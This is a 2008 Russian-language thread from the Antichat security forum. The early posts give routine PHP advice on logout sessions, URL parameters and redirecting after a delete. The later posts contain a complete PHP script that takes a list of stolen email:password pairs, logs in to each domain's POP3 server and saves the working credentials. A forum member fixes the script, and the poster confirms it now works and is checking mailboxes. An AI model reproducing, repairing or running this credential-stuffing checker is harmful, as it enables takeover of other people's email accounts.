ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

18.06.2008, 14:56
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме: 16641028
Репутация:
2371
|
|
Если это выход, то лучше убивать все сессии функцией session_destroy()
|
|
|

18.06.2008, 15:09
|
|
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме: 5866479
Репутация:
1809
|
|
Сообщение от Jer1cho
?mode=logout
Сообщение от Isis
Если это выход, то лучше убивать все сессии функцией session_destroy()
Ок, так и сделаю, а вообще, передовать переменные имя=значение черех URL это нормальная практика?
|
|
|

18.06.2008, 15:16
|
|
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме: 5321514
Репутация:
3313
|
|
Сообщение от mff
Ок, так и сделаю, а вообще, передовать переменные имя=значение черех URL это нормальная практика?
П почему бы и нет  ?
Меньше видишь спишь спокойно??
Все равно заголовок можно подменить.
|
|
|

18.06.2008, 15:23
|
|
Постоянный
Регистрация: 30.12.2006
Сообщений: 434
Провел на форуме: 849583
Репутация:
210
|
|
Zircool
Замени str_replace на ereg_replace, или на preg_match
Насколько я помню str_replace, не работает(не поддерживает) с регуляркой
Последний раз редактировалось Naydav; 18.06.2008 в 15:26..
|
|
|

18.06.2008, 15:25
|
|
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме: 5866479
Репутация:
1809
|
|
ChaaK, а вот например, если я таким образом передаю скрипту, скажем убить строчку в базе ?id=4&mode=del и пользователь нажмет обновить, то как сделать, чтобы действие не повторилось?
|
|
|

18.06.2008, 15:28
|
|
Постоянный
Регистрация: 22.03.2008
Сообщений: 325
Провел на форуме: 1208132
Репутация:
63
|
|
Сообщение от mff
ChaaK, а вот например, если я таким образом передаю скрипту, скажем убить строчку в базе ?id=4&mode=del и пользователь нажмет обновить, то как сделать, чтобы действие не повторилось?
HEADER('LOCATION:$_SERVER[SCRPT_NAME]');
|
|
|

18.06.2008, 15:28
|
|
Постоянный
Регистрация: 30.12.2006
Сообщений: 434
Провел на форуме: 849583
Репутация:
210
|
|
ChaaK, а вот например, если я таким образом передаю скрипту, скажем убить строчку в базе ?id=4&mode=del и пользователь нажмет обновить, то как сделать, чтобы действие не повторилось?
Можно ничечо не делать, а можно и Обьекьт(новость, статья) с данным id не найдена
И вообще после удпления можно(нужно) делать редирект, и пользователь уже никак не обновит страницу, а если вручную наберет то
Обьекьт(новость, статья) с данным id не найдена
|
|
|

18.06.2008, 22:06
|
|
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме: 4512757
Репутация:
973
|
|
Добрые люди, помогите, нашел сие чудо, а оно не работает (( :
<?php
error_reporting(E_ALL);
set_time_limit(0);
$fr=fopen("lst.txt","r");
$fw=fopen("result.txt","w");
$cfg=file("servers.txt");
$i=0;
foreach($cfg as $lst)
{
$lst=strtolower($lst);
$cfg[$i]=explode(':',$lst);
$i++;
}
while (!feof ($fr))
{
$buffer = fgets($fr,255);
$buffer = strtolower($buffer);
$lp=explode(':',$buffer,2);
$log=explode('@',$lp[0],2);
$i=0;
foreach($cfg as $lst)
{
if (trim($log[1])== trim($lst[2])) and (isset($lp[1])))
{
$serv=$lst[0];
$prt=$lst[1];
$i=1;
break;
}
}
if ($i==1)
{
$ock=fsockopen($serv,$prt);
$html=fgets($ock);
$usr="user ".$log[0]."\n";
fputs($ock,$usr);
$html=fgets($ock);
$pwr="pass ".$lp[1]."\n";
fputs($ock,$pwr);
$html=fgets($ock);
if (preg_match("/OK/",$html))
{
fputs($fw,$buffer);
fclose($ock);
}
else
{
fclose($ock);
}
}
}
echo "OK!";
fclose($fr);
fclose($fw);
?>
Что в нем не так?? пишет о ошибке на 27 строчке ((
|
|
|

18.06.2008, 22:11
|
|
Участник форума
Регистрация: 06.06.2008
Сообщений: 162
Провел на форуме: 3942177
Репутация:
244
|
|
Замени на:
PHP код:
if (trim($log[1])==trim($lst[2]) && (isset($lp[1])))
|
|
|

19.06.2008, 00:12
|
|
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме: 4512757
Репутация:
973
|
|
Спс, работает!!!! Уже проверяет мыла )))
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|